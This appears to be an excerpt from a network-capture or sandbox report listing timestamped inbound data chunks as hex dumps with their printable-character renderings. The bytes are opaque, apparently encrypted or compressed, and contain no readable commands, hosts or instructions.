2021-09-27 18:33:32 UTC	1156	IN	Data Raw: ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 Data Ascii: \|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<*i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`
2021-09-27 18:33:32 UTC	1158	IN	Data Raw: 73 9a 77 2e 23 4a 7d aa 14 12 1b b5 a8 ba f9 76 11 83 7c 65 69 01 03 87 8a a5 39 1d 39 35 05 57 bd 73 a8 a5 93 fa f8 55 d0 b8 0f 9e 73 18 f1 19 c1 e6 d8 08 c8 9c 00 d1 a3 1a f0 90 6a 3e 16 c1 f3 5b 1d 3c 5c b8 ef 6e 25 70 9f 1a 19 c1 9a 21 af a2 54 c8 41 ac a1 ca 92 a3 36 7a d6 2e 00 95 5d 1c dc 21 57 c8 e9 77 b9 50 af 8e 9a e0 93 71 62 aa 1b 05 a5 9c 71 ba c7 27 05 93 eb a7 22 c2 a3 37 f0 65 c2 ad e5 83 6e 3a 8d d9 d0 f1 3f da 99 19 72 a7 75 50 bd bd f3 b1 2c d5 16 ff 5a a7 60 b2 47 31 ab d3 1f 6f 19 b0 97 41 0f 53 50 0f 0f 54 2a d6 f1 c5 e7 40 d8 3b c8 44 26 a4 af d3 76 06 9b 78 04 0c ac eb 7a 3e 84 c3 0e 97 01 a9 23 d7 aa c1 e4 d0 fc d3 cf 09 4d b6 ae 9f 59 d0 4d b0 f9 72 93 5d b0 f8 f2 ed a8 da d9 b1 c3 cf d8 34 36 0b 9a 5f 31 5d de fb 5d 53 d8 35 99 Data Ascii: sw.#J}v\|ei995WsUsj>[<\n%p!TA6z.]!WwPqbq'"7en:?ruP,Z`G1oASPT*@;D&vxz>#MYMr]46_1]]S5
2021-09-27 18:33:32 UTC	1159	IN	Data Raw: 40 05 18 5b cd d8 23 b9 7e 8f 2d da e5 db a2 a5 32 e5 87 61 3f b8 c8 07 a8 b5 16 d7 0a ec 76 82 c4 3d 36 ae 83 2a 9f 6b 06 b6 37 f4 e9 84 ed 54 1b 05 fa 7a ae 29 5a 64 59 85 19 1e a1 ac 24 27 55 f8 f3 6a d2 a8 55 79 2a 1f 78 1b 74 e2 81 26 17 2d f7 d8 34 b4 8c cb ad 65 92 46 2b 9f 23 6b ad f2 7c 83 40 33 8f ae 9d 53 f0 99 b1 e5 4c 2c 1b aa a4 ad 10 1f 81 6d a5 81 3b e3 9f 27 51 4f a5 76 e0 b6 04 e5 93 56 78 56 ce d3 64 d3 75 30 c3 e4 17 a6 ce 3b 00 93 90 58 63 cf d4 42 94 da 5f 7f 41 91 52 70 22 ee f2 f3 69 15 3d fd 4b 04 31 6a a9 bd 4a 21 a3 eb 83 7e 08 01 e5 d9 dc 85 b0 34 b3 00 3e 9b 9a 58 b8 d5 7d 1c e4 03 b2 d4 27 4c e6 b9 34 13 9b 46 90 03 05 6b c6 f2 3e 0c 09 ae 9c d6 33 26 cb 47 c5 7b 97 58 70 a0 6c e2 70 b2 44 04 24 f0 fb 49 01 a3 2c 7e c0 f6 ff Data Ascii: @[#~-2a?v=6k7Tz)ZdY$'UjUyxt&-4eF+#k\|@3SL,m;'QOvVxVdu0;XcB_ARp"i=K1jJ!~4>X}'L4Fk>3&G{XplpD$I,~
2021-09-27 18:33:32 UTC	1160	IN	Data Raw: e2 98 65 47 ca 52 7a 07 eb 26 40 0e 82 ca ea 04 31 46 68 be a5 42 32 09 71 a9 20 f1 a3 1b 53 58 cc 86 2d 44 92 d4 b7 ca 96 a9 8b d1 4f e8 0a 23 b8 bd 3d 56 c2 ae 1c f7 66 47 78 f9 9b de 89 ba ae 9f 30 c2 ae d3 eb 76 b4 4d 81 97 58 67 ad f3 90 00 93 91 81 92 d9 b1 6c 90 4a 38 1c 3b fb 4c 89 7b a1 53 8a ac 0a e8 a0 ba 6c 20 67 80 47 e1 02 fc 79 85 69 be b2 4d bd f0 56 a0 13 9f 2b 58 57 47 aa 7d 16 b3 a2 a9 22 fe 4d b2 3f f4 7d 33 a9 31 54 63 2e 43 9f 5e ce 84 64 5f c4 72 af 5c 1a 53 5e ef da 3e ba 7b 83 41 34 38 28 6b 15 95 43 09 bf 10 ef 84 59 52 84 e8 1f 7e 46 6c ca f1 e1 54 93 57 f9 7c 8d 4b 28 7e 91 ea e3 9f 2b 42 29 10 44 6a a7 ed 9b 52 62 5a 86 25 eb f4 72 94 30 c6 50 68 39 39 2e cc d5 03 40 ab 1b 69 26 76 bb ba e0 a7 c9 d9 a5 3b e0 58 20 16 91 e0 e8 Data Ascii: eGRz&@1FhB2q SX-DO#=VfGx0vMXglJ8;L{Sl gGyiMV+XWG}"M?}31Tc.C^d_r\S^>{A48(kCYR~FlTW\|K(~+B)DjRbZ%r0Ph99.@i&v;X
2021-09-27 18:33:32 UTC	1162	IN	Data Raw: 84 8f d0 de 92 0d 7d 8c ff 99 09 46 5f 47 b1 b6 6c 26 cd 40 58 30 f6 7c c1 41 f1 67 d2 15 2f 00 b1 bc c2 f6 03 ac 9d b9 e4 a0 f4 74 91 c0 84 ec 12 34 7f a9 cc ea b1 81 6d a7 39 47 80 26 e2 8d ae 33 ca 45 0b 96 9f d9 3f b8 c8 fd a4 bf fe cb 7c 85 18 9c 07 0c f0 ee e9 0e 5d 4b 85 e7 3d d1 39 3c b8 f9 6b c5 7b 08 9c 21 9b 40 b0 7d 4a c3 86 6d 0b 6e c4 77 8d bc f9 c2 32 55 50 9e 55 ef 76 b9 a6 a7 31 eb 3e 51 0d 93 5d f8 2b 59 05 32 7b 60 b7 0c 08 57 d9 22 5e cb 61 29 a1 25 63 0d 41 55 35 95 98 34 44 94 df 55 02 2d a1 9a 7f 8c 12 12 03 3f db f8 27 f5 ec 08 db a5 3e 04 c0 9a e3 02 fe cc b7 00 38 17 15 9d 5b 76 d6 3d df a2 a8 88 db d1 58 cc 86 e8 f9 67 cc fc da f8 48 24 59 e3 77 9a c6 92 fe b0 ee 54 b9 f3 8b 6a 38 3d 01 5e d2 ed b5 0f 65 cc 4b 65 3a 6a 3c 03 77 Data Ascii: }F_Gl&@X0\|Ag/t4m9G&3E?\|]K=9<k{!@}Jmnw2UPUv1>Q]+Y2{`W"^a)%cAU54DU-?'>8[v=XgH$YwTj8=^eKe:j<w
2021-09-27 18:33:32 UTC	1163	IN	Data Raw: 89 a6 7f 6b 17 38 57 ec 0b 9a 4d 88 30 08 ba c0 8e fe da 38 9e ea bd 08 b5 b6 6d bb eb 86 aa 5b c0 eb 2b 99 a2 b3 09 ad 15 16 a3 73 09 1c 02 30 da 20 13 73 ab ff fd d9 4a 8a e0 0c f9 bb 01 1e 68 f4 04 37 34 bf 45 7b c3 20 44 5e a2 b3 08 3a 0f 95 d4 df 0b 56 64 44 92 d4 a5 7d 00 72 8f d8 25 70 2d 4c 00 bd 24 92 73 6c 28 dd a7 2b 2f 1b 1f 1f c2 ad 00 37 3e a1 58 db 7c 98 66 80 12 1f 79 96 40 9a 12 66 ed b6 85 6e 32 c0 04 9a 79 c8 f7 aa ad 0e 12 05 70 86 3c ae 01 7d 8b 6d a5 3b ad b8 bd 1b e7 47 3a b9 ee fe cc e4 90 bd 5d 11 a4 b9 ed 75 1c 3a ad f4 74 95 1e ea 06 3d c9 30 32 b2 1f d1 8b 7c 1f 7c 1f 40 02 fe 41 d3 cc 5c 4d 10 7a e4 dc 3e 09 13 e1 8a f1 77 28 47 bc 3c 32 73 cc 58 76 0e dd 25 90 a3 97 f8 98 dd b2 9c f8 5b 52 d6 a0 71 dc 22 f9 7c ee e6 ac 70 b6 Data Ascii: k8WM08m[+s0 sJh74E{ D^:VdD}r%p-L$sl(+/7>X\|fy@fn2yp<}m;G:]u:t=02\|\|@A\Mz>w(G<2sXv%[Rq"\|p
2021-09-27 18:33:32 UTC	1164	IN	Data Raw: 7b d5 ba 7d 89 61 61 61 c2 64 48 8f 51 39 8c f2 ee ed 6e 17 60 3e e6 0d 99 03 b7 bd 49 ed 6a 3a af 39 fb 9b 58 60 42 89 5c b4 d6 66 47 1b b0 38 c2 46 5c cd f8 2c 29 66 d6 e7 75 31 5d 46 ea 61 d2 0f b8 cc aa 12 cb c3 21 67 75 86 f7 5c 60 6b 0b 64 df 09 a3 fe 3e a9 32 df a0 10 bb f0 a4 ad 11 94 c7 df 40 14 67 06 67 d3 76 08 8f f7 7f 45 f6 e0 1b 76 0d 07 3e bd 33 d5 af 02 34 bd e5 99 88 b6 99 f9 3f 28 1d 74 80 a8 b9 3a 52 64 59 ef 70 b7 97 54 cb 37 24 fd 58 71 a8 a7 ee ab 1e 32 9e bb 49 67 cc 8b 6b 1b d7 a8 62 b2 9d 50 72 2c 4b 93 42 20 0b 8e fa e1 8b 69 bf 28 8f 7e cb 8e e5 20 fd c7 79 9d 81 66 50 6f ba 6b 17 10 11 28 3c ba 79 9a d7 bf ec 82 43 09 60 1e e6 d0 56 c4 f3 6b 04 d9 b2 91 51 e2 b3 d4 24 2e 2a de 21 64 5b c9 d8 84 b7 1d c5 b9 e5 57 e9 11 37 2c 1d Data Ascii: {}aaadHQ9n`>Ij:9X`B\fG8F\,)fu1]Fa!gu\`kd>2@ggvEv>34?(t:RdYpT7$Xq2IgkbPr,KB i(~ yfPok(<yC`VkQ$.*!d[W7,
2021-09-27 18:33:32 UTC	1166	IN	Data Raw: 56 7b 83 6d b1 7e 5a dd a6 1a 60 28 9f 3e 30 ce 5f 55 15 85 76 0e 06 ef 27 8a e2 ba 7f 88 48 73 b5 17 90 dd 62 67 7e 0b 33 ad 1c 29 c3 e6 74 fc 12 e5 28 3f 33 21 6a 2c 61 9b c4 6d 2b cd d5 c6 c1 5f 9d b0 0c 05 b2 21 7f 85 b4 75 aa ab 1b 76 a8 95 90 c3 25 8b 7d 9a c7 db c6 7e 8e f9 d0 ad 65 eb 94 48 93 5c 96 2c c4 72 36 b3 c5 ae 07 b7 9c 6d b3 a9 85 65 be 8c 2d 7c f7 dd 5a 71 bb ea 05 6a 0a 96 d1 6f 04 2d 33 d3 73 9d 41 8c fe cc fd a4 b0 92 cd db c5 ab d4 38 73 86 16 7a 48 92 1c a6 4f 68 2a d2 89 89 60 58 6c 33 f6 ab 92 da f2 e8 03 1a 6c 3e 1b 97 47 0b 8e f5 df 80 cf c4 fc 42 87 0f 84 7c 2d 58 d5 5e 5c 53 e0 1c 3e 86 42 97 e7 25 69 d3 b8 b3 3d c2 c8 4c 89 cc a2 b7 1c fa f4 96 97 f9 7e 6e 6d ae 50 39 ce 82 43 03 13 9a d8 8c 00 38 bb fc ca e7 ac 45 1a 3f 72 Data Ascii: V{m~Z`(>0_Uv'Hsbg~3)t(?3!j,am+_!uv%}~eH\,r6me-\|Zqjo-3sA8szHOh*`Xl3l>GB\|-X^\S>B%i=L~nmP9C8E?r
2021-09-27 18:33:32 UTC	1167	IN	Data Raw: 05 1d 7a 18 fc d5 ea 18 11 df a7 91 cb 80 c1 e5 83 c3 99 ad 27 73 4d c7 97 45 05 1d b0 94 2d e4 32 dd ef 65 00 91 07 10 18 0a 09 6f 97 88 d3 d4 ca 00 69 a5 2d f1 d6 62 f0 5a 3a b3 c3 e6 5b 82 a4 df b1 07 bc 65 d6 b7 0a 6d e1 2c 64 41 63 63 76 8f 3e b7 bf 98 a5 3a a9 21 6d ea 17 f3 05 0d db 41 3a 8a 90 7d b2 43 f7 5a be ce 0d eb 96 6b 55 b1 e1 58 19 62 2c 7c be f7 6d f2 39 33 22 22 ce a5 e0 ea 5d 35 8c e9 92 84 f3 c7 ca 01 19 cf 8d 6e f5 ad 64 58 77 8a d3 82 eb e4 50 6b b4 39 8c 8d 63 dd ad 3f 0a c5 af 51 f4 ff ee 6f c9 d4 3c a9 9e 2b 46 ee 5f 64 6c 22 2a 03 ae 9b 51 e0 db ce 3a b6 c4 71 cc 6e 53 f1 2c c2 a5 71 dc 26 5e 08 4f f7 65 9c c5 9b 74 42 97 19 7e bd af 61 cd 0c 45 7f 83 63 94 c3 80 25 1e ff 09 bf 2c 9b 27 58 d5 fb 2e d7 b5 4e 68 54 5e 35 22 b5 1f Data Ascii: z'sME-2eoi-bZ:[em,dAccv>:!mA:}CZkUXb,\|m93""]5ndXwPk9c?Qo<+F_dl"*Q:qnS,q&^OetB~aEc%,'X.NhT^5"
2021-09-27 18:33:32 UTC	1168	IN	Data Raw: 91 78 67 60 69 73 4b 38 6c ff 4b ec ca e1 30 7b a5 fb cb e5 f7 da e1 a7 9e 48 32 37 89 6a 2f 5e 64 71 d5 25 2c d7 b6 96 d2 63 7e b7 4c 6f b9 fc f5 56 a5 93 06 c1 f9 70 c6 98 f2 e1 90 8c ff 41 0d 8b ac 5c 0f 9a d4 3e ec 12 3d bc be 31 47 0e 1a f3 9d 1e df bf fc b7 90 9a d0 47 1b 6e 0b 2d fc 9d 4f f8 eb b8 45 de ee ac 99 5c 4a 60 79 a8 a2 b0 ed df f7 77 96 d1 c1 d9 7e c5 ba 68 2e db 8f f6 93 a3 20 ee f1 66 63 0a 99 12 09 a5 2f a9 49 27 42 8a 58 2e c3 23 b9 58 7b 85 6f d1 61 17 4a c2 6f bc 77 b9 c4 45 8e 8f ee 8a ee 3e d1 1e 47 62 98 78 67 41 26 67 b2 54 5e f5 a6 ec 08 2d 49 65 d5 7a a2 f1 69 bc 63 4c 39 60 51 fe d2 f5 01 79 bc b1 6c 81 26 ae 5c 24 95 2f 58 ad 6f 6f 68 51 35 f0 94 67 58 0d 69 8a 5a e1 ee c0 c5 8d 97 2b 50 bf 90 2c 1a 93 a5 01 01 da d0 f1 eb Data Ascii: xg`isK8lK0{H27j/^dq%,c~LoVpA\>=1GGn-OE\J`yw~h. fc/I'BX.#X{oaJowE>GbxgA&gT^-IezicL9`Qyl&\$/XoohQ5gXiZ+P,
2021-09-27 18:33:32 UTC	1170	IN	Data Raw: 87 59 2d 15 8c cd 78 b4 20 f3 66 44 2c d2 59 53 35 2b 43 0b b1 39 db 5b 2b 47 19 fe 1f 5e 73 af 10 85 b7 63 24 63 dc 28 ce fb 9e 9e 9d 48 88 cd 7d 3a 21 b7 01 b5 36 76 99 b9 49 14 1b 5e ba fb 63 d1 c0 25 71 16 bc e5 98 cc 4f d0 61 3c 2f 66 5a 73 1b e4 33 80 99 65 cf dd b6 84 be 66 68 a8 62 76 0d 8a f0 f8 f2 e4 15 6f 2b 7b 99 5b 14 a4 b1 d6 8e dd a4 a3 26 6f 11 1c fb 55 e7 a4 64 22 e4 df 10 36 a7 3f 35 37 fd 7a 3c ad 08 72 3c 96 ff 7d 67 36 a3 29 40 67 6f a2 8b 51 c3 d8 ed 22 4a 4b d5 19 ef 04 ae eb 34 3a fd 45 ce d7 8c 2f bd 35 5b db 96 60 87 ec 1a f0 f2 4e 8b 32 df 11 32 cf e8 1c e1 9c 88 e0 8d db b6 b5 17 90 d2 40 a2 a9 41 b8 59 c3 4b b6 4c d4 19 71 b8 52 57 42 58 76 29 40 a0 b9 fe df a5 d4 3d ca 47 0c db 1c f7 4b 11 86 2b 4d 11 9a cd 7b 06 31 87 c0 70 Data Ascii: Y-x fD,YS5+C9[+G^sc$c(H}:!6vI^c%qOa</fZs3efhbvo+{[&oUd"6?57z<r<}g6)@goQ"JK4:E/5[`N22@AYKLqRWBXv)@=GK+M{1p
2021-09-27 18:33:32 UTC	1171	IN	Data Raw: 2a 44 46 ee d0 78 dd 52 5e 94 98 d5 ed 61 eb 6e 8f d5 a4 a3 48 24 24 4e 67 a1 b6 8d 7f 9a c4 25 21 5d 1c 3a b9 eb 84 ff 9a 7a 2a d1 d2 52 b0 2b 54 7a 18 14 8a 20 29 53 f9 69 50 ff 99 49 06 e7 2d 41 c3 fd 59 e4 16 3c 9f 96 99 23 fb b0 a6 42 19 fb 3a c5 60 69 0e e7 3a 5f fe c9 d5 b5 3a 14 38 b0 ad a3 d7 a6 19 21 74 32 d0 f3 21 7a ac 80 1b be 43 03 a3 23 44 f2 5f 9d 58 6b b4 99 79 55 26 3b 2f 48 8e 82 a5 13 25 0c f3 10 13 db b6 12 66 ab 4d 10 4d 0b ac 5d 60 45 2e 01 0d 70 2f 5f c3 0d da 19 79 93 27 cb 87 6d bf ee ff 67 0c a3 cf d8 23 76 38 80 c7 10 ed 79 9a d6 c1 c2 47 17 82 c5 a9 23 27 4d 54 6d 03 0b 6b b9 e1 91 66 7a e9 08 1d 7f 82 41 12 59 eb 4a 3a 5c 59 f2 e5 bd da c6 95 7d 9c d3 0f 2e 3d 24 e0 03 92 26 67 e2 05 bf 73 9c c7 d4 2e 8d 62 1b 6c 0f 16 b7 7d Data Ascii: DFxR^anH$$Ng%!]:zR+Tz )SiPI-AY<#B:`i:_:8!t2!zC#D_XkyU&;/H%fMM]`E.p/_y'mg#v8yG#'MTmkfzAYJ:\Y}.=$&gs.bl}
2021-09-27 18:33:32 UTC	1172	IN	Data Raw: ab 1f 2c d3 d8 36 11 58 20 fe d4 3d 4a 95 3c bd 5c 91 1e e2 10 18 3f 2d 08 25 f7 0b 52 4e 69 aa a1 de be c8 5c 4d b1 d9 a4 a8 a4 ac ae 59 5b 20 d6 90 91 56 61 d5 9f 10 d0 83 97 55 ec 14 f5 e4 a4 ac 94 10 aa 62 5e 4b 06 06 c1 b6 a7 33 28 1e 5f e0 51 fd e4 b5 5e 7a da 41 ba 55 5e eb 7c 0c 1f 66 6e c8 24 da 30 c4 27 5e e5 b5 ab 24 56 a1 df af 1e f6 ca b3 2b 9c 01 30 e8 b8 c4 9a c4 60 5a 48 75 aa 98 d1 c1 ac 9e 03 c3 68 07 1c 44 7f 86 fc df 80 fc d5 9d 5f cb 6d 1f 60 16 05 11 53 b1 00 2a c5 df 61 6a c1 f7 6a 2e f3 8c 0c 25 65 cd 8c e6 a0 06 60 42 84 fd 60 e0 d5 41 1b 70 29 6b 41 81 b8 72 27 30 68 1c 40 13 ae 86 e7 84 d8 f7 a4 45 12 03 a2 87 ef b0 b2 8c e8 09 f3 75 91 4c 2a 1d 45 15 84 e0 4c 97 59 f1 c0 a5 19 75 a4 a1 82 b6 b3 1a e4 14 f5 e4 3c a6 a9 ef 03 be Data Ascii: ,6X =J<\?-%RNi\MY[ VaUb^K3(_Q^zAU^\|fn$0'^$V+0`ZHuhD_m`Sajj.%e`B`Ap)kAr'0h@EuLELYu<
2021-09-27 18:33:32 UTC	1174	IN	Data Raw: 32 ea 16 58 74 bf 92 6b e9 85 28 ce e7 e2 d6 7c 05 ea 08 8a 91 8e c7 c5 53 e5 3c d5 3c ec 0a 1a ea ae fa 31 0b 9f 79 8a 78 71 70 75 b0 c3 ee 69 c4 ea 2c d3 f9 73 0d e6 b4 ad 19 56 68 ad 61 72 70 3d 74 21 f0 86 55 da 39 66 51 5d b7 95 11 94 95 41 27 96 12 95 6a bb 43 5e 5d d8 3b c0 72 e6 0e 0a 65 c7 9c d1 0d 2c 80 16 14 1a de 07 44 b6 47 0c 11 c4 7c cd f1 95 7e c9 61 9f 3a be 61 ee 07 38 9d 4d 1d ba cc 1f 7f 99 5a 44 b5 eb 74 ce 48 81 31 f0 bf fc cd cd 8b 6c 33 3b 3d 1b 80 5b 6a 34 bf b6 88 a3 28 6c fc 8d 68 34 b9 dd 9d ab 03 76 00 3a 67 6e 85 3f 21 a0 39 bb c7 6a 83 3a ab 1d 68 1e 0e 5a 5a 7e 1a b5 0c d8 41 fb 72 e9 3b 75 a5 3b 3a 80 ee b9 db a0 a8 14 b3 5e 5f d4 3f 12 2b ae 14 e0 0e 08 68 35 ff 27 ae bb 36 0a 7b 97 58 70 02 dd dd 80 0d 8b da 94 83 78 18 Data Ascii: 2Xtk(\|S<<1yxqpui,sVharp=t!U9fQ]A'jC^];re,DG\|~a:a8MZDtH1l3;=[j4(lh4v:gn?!9j:hZZ~Ar;u;:^_?+h5'6{Xpx
2021-09-27 18:33:32 UTC	1175	IN	Data Raw: 18 2f 32 64 39 ac 24 be 7e d3 2d 3b cd f7 90 1f 74 89 12 fe f0 29 02 fe 4c f7 9f 19 79 9b 83 e3 e4 ef ab b9 3c 47 a2 d8 27 e9 c3 46 66 be 45 61 cf d6 72 20 5e eb 25 4c 49 c7 2e ce 5b cd e3 70 55 89 73 b1 42 9e 0c 70 d7 91 e4 83 99 5d d6 27 6b 50 03 dd a9 23 db 3e c8 79 b7 24 55 04 02 95 1f 54 dd 7c 82 39 b3 f1 82 98 e9 3f d5 09 40 b6 ad a8 f8 ed bb 40 a8 b2 9c d3 87 09 a7 6d bb cd 06 6d 5c ed 3d 32 cb 7a d1 79 81 ae 5f 64 5f c6 4a 9f f9 aa 56 77 9f 2a e9 dd ad 33 fd ee 04 28 cd db 91 4c 1c 76 85 35 70 9a b8 77 2f 47 48 87 6e 8a fe fb 92 a1 3b 3c 3b 9a b9 e9 49 c2 93 62 ff e2 1e f0 f3 7b 57 2c 47 18 0c 0d a9 0b 83 9c 07 a9 20 ca 51 68 f6 48 d4 1f ab 60 4a 40 1f 80 86 f7 d4 1a 88 df 80 3b 2e 68 f5 c3 af 17 33 43 1d b1 10 d3 81 b9 c3 f6 47 cb af f0 82 af 49 Data Ascii: /2d9$~-;t)Ly<G'FfEar ^%LI.[pUsBp]'kP#>y$UT\|9?@@mm\=2zy_d_JVw*3(Lv5pw/GHn;<;Ib{W,G QhH`J@;.h3CGI
2021-09-27 18:33:32 UTC	1176	IN	Data Raw: 39 f3 75 6a d8 39 3b 29 e9 2d ba b3 1b 67 c2 5c ef ab ea c3 ed 7b 92 16 f3 63 ce 4a 36 73 f0 ec 04 f8 77 8a e5 99 fd e4 28 da 30 0d 3c a9 34 aa 88 36 f1 76 5f c4 36 b2 b3 20 05 65 3e a9 37 fc 71 aa 68 a3 72 5d 11 5b 9f 01 87 6b 7e c7 f3 64 49 09 68 41 55 d4 04 84 4b 3e b2 90 d3 42 5f c4 73 b5 b3 9c cf 7b 31 0d b7 39 06 c3 cc 5d db aa 1c 63 c0 a5 8f 39 3c 9a f3 ed bc ba c8 4f e9 96 c0 67 c8 6d 7a ed 4e ec 7c 10 3b 7e 3b 00 13 67 be 91 4c 92 11 3e b7 bb 6b ee dd f7 01 02 f6 3a 8d 42 76 07 c5 ec 0e ac 2f 86 f5 7b 92 9d c7 83 74 f2 8c 4b 3f 08 e0 61 31 8e 8c 06 9a ab 0b b9 35 44 bd ce 89 2e 2b fa 9c 10 79 97 4e 7d 6d b5 f6 fb 4f 32 5e 78 6d 16 42 93 67 77 58 87 50 b1 3f ae a8 8e c0 54 46 b9 c2 58 4a a0 bb 51 35 9e ec 06 39 33 0e 2e e6 d8 cd e9 20 43 8b 02 51 Data Ascii: 9uj9;)-g\{cJ6sw(0<46v_6 e>7qhr][k~dIhAUK>B_s{19]c9<OgmzN\|;~;gL>k:Bv/{tK?a15D.+yN}mO2^xmBgwXP?TFXJQ593. CQ
2021-09-27 18:33:32 UTC	1178	IN	Data Raw: 97 fe 74 67 c8 e7 ab 02 f7 10 0b c3 f3 00 87 e2 0a 45 bb a4 40 57 e2 da 3c d4 8a 94 18 cc 0f 91 58 29 02 83 76 ae 7f 9d 0d ad a8 65 ba 22 e0 1b 65 6d 7e 1e f0 e4 17 9f 7b 96 60 6f b7 55 e6 35 12 29 ad 6a cb c1 f7 db 07 ae a6 9a f6 7c b9 57 5a 63 5e fe 65 5a 68 56 55 5c bd 47 cb d2 8e cf db 63 62 09 95 e9 f9 6c ff ac 8c a7 39 41 0c 10 02 27 12 1e b5 14 29 e7 e9 90 e2 24 00 39 c8 57 fa 5d 4b 05 82 9f af 81 a9 e7 79 21 9a bb ff 45 06 6e 96 c4 7f 84 4a 43 8e 0f 86 fd 16 00 1a 52 c3 4c 68 20 ec 15 78 9d 34 b1 18 b8 d1 c6 0b 09 b1 10 11 64 61 ee e5 86 3b 8e e1 b9 38 78 8e 1c fb 4f cc a7 3f c2 67 c2 d8 10 d8 0e e1 2b 19 7c 0f d3 25 7a 00 2d f8 2f df 51 fc df 81 33 89 b3 35 cc 41 61 c7 db 69 94 69 94 2f de 59 f6 e8 cf 7d 98 02 5d 64 73 f2 3c a2 be 74 02 cf f3 16 Data Ascii: tgE@W<X)ve"em~{`oU5)j\|WZc^eZhVU\Gcbl9A')$9W]Ky!EnJCRLh x4da;8xO?g+\|%z-/Q35Aaii/Y}]ds<t
2021-09-27 18:33:32 UTC	1179	IN	Data Raw: 90 ba 96 8b 3e 14 da 7e 5e e8 99 43 86 82 50 fb c2 f4 27 5b 1b aa 89 0c 1f dd 30 ed 81 b4 35 da 32 70 85 68 38 c3 9a dd bd 05 2a 6d a5 bb b4 76 37 97 9f ea a5 f0 a4 87 5d 63 2d 28 cb fb aa 6d 23 2f 27 66 53 9b 9d 1f 1c 95 e0 1f a1 fd ae 48 b2 3e d9 96 e5 c0 a9 39 22 13 15 74 58 bc 74 e5 41 b2 5b c8 55 24 78 76 0f 68 31 40 9e 96 26 25 ad 37 f5 49 49 3d d7 4b 33 25 82 b7 f5 90 eb f4 07 d6 77 cf 8b 68 7e f3 f9 85 4c 2f 4a 49 b3 ca b8 9b 97 9a a6 0c 8c 70 9b 3f f0 09 35 35 ba 88 09 0b f8 12 ef c6 7d f1 98 23 0f 21 21 a9 72 8f ae 34 88 6f 02 cf 88 18 d5 fa 1e cd 2e 08 1d cb f1 09 a7 c1 cb 24 cb fe bf f6 bf 8a 24 63 88 36 15 21 7e d3 7b 08 51 c2 1b 86 24 a8 a1 5b 30 6b 66 3a bc 17 e7 f6 d2 64 5b b4 0d 39 50 c5 cd fa 55 b7 d9 c4 9d 97 4c 28 a5 18 85 a9 b8 da 68 Data Ascii: >~^CP'[052ph8*mv7]c-(m#/'fSH>9"tXtA[U$xvh1@&%7II=K3%wh~L/JIp?55}#!!r4o.$$c6!~{Q$[0kf:d[9PUL(h
2021-09-27 18:33:32 UTC	1180	IN	Data Raw: 14 15 43 48 83 cb 48 89 89 37 42 96 d1 a9 44 86 a9 20 31 5b ce 41 17 b7 3f 04 f5 8b 49 ae d2 19 40 48 0c 3a a6 ae a9 77 8a 14 81 da 20 f0 30 ab 50 29 47 5b d9 94 fa 07 1a 53 fe c7 61 28 10 bf ce f0 fa a3 1e cb 28 fc a9 2e cb 11 24 d8 25 77 8f 5f ed b2 2e 26 14 a0 ba 76 d2 e3 8c 22 40 eb f2 d8 13 60 13 f3 6f bd 4d 9d 4a 4d 9d 1f 1c 76 72 9f f6 52 7d ad 25 4e 9a 11 e0 10 04 f9 fe c3 0e 1f 0e 06 3a 1b 15 99 a2 c3 c1 ea 13 fd 7d 91 ec 22 fa eb 43 21 61 18 6c 20 ec 9a e0 2e a5 b9 c1 29 ad 3a 03 24 cb 15 71 9e 76 40 a3 ff be 2a d5 dd 30 f8 c5 7f ac 28 95 5b 8d 7d ca 54 63 c4 66 12 1f 7e 16 07 ec 00 0f 00 24 f4 fa f0 e9 1a 8d 77 94 c4 6e 3d df 7b f2 eb 93 e4 88 ed b1 1e 3b 8e be 56 ad 18 c6 3c b1 a0 bc 25 71 94 f3 3e ab 39 cb 00 28 c6 43 a5 81 88 86 fb 5d d2 d5 Data Ascii: CHH7BD 1[A?I@H:w 0P)G[Sa((.$%w_.&v"@`oMJMvrR}%N:}"C!al .):$qv@*0([}Tcf~$wn={;V<%q>9(C]
2021-09-27 18:33:32 UTC	1182	IN	Data Raw: 3d 64 47 11 80 14 20 ec ab db 36 e6 24 d9 e5 8a a0 bc 98 18 33 3c a5 2c 03 22 21 c6 55 2f fc d8 a7 17 d4 20 2c d2 40 8a f2 54 54 56 eb 7f ab 89 70 20 75 5b f6 05 cc b6 13 ef ae 8d b7 28 15 77 56 8e 30 da 2f 49 24 d7 90 a5 85 28 54 6f a4 a5 07 6e 5f d2 8a 24 d6 34 ab 08 e4 af 21 61 d5 a9 1d 8d 9d 26 d1 c1 5e 1e fa 51 41 0d 86 fc d1 7c 52 6e 1c d2 b8 0c 1c e0 09 18 9d 5f 35 8a a4 b1 01 01 70 81 8f 7f 84 4a 0c 18 10 a3 37 3f bf 9d 4e 7d 81 93 46 64 54 c3 31 44 95 5b db fd 99 2e b2 8d 4e 94 b7 32 d5 ae 17 33 d2 45 1e f7 2d 5f 91 8e fa fe d7 07 62 65 c4 60 5a 4a b5 39 08 dc be 6c 3b 31 f4 46 a6 1b b0 67 c7 d1 c6 ee 5e 0c 7f a1 f4 7b ce 5e 59 e5 90 9c de ef d8 64 58 65 c6 5f 83 62 86 52 32 d0 55 e7 84 b2 88 3c f8 5e 48 d8 14 bb 93 44 e7 4d 74 3b e7 67 dd 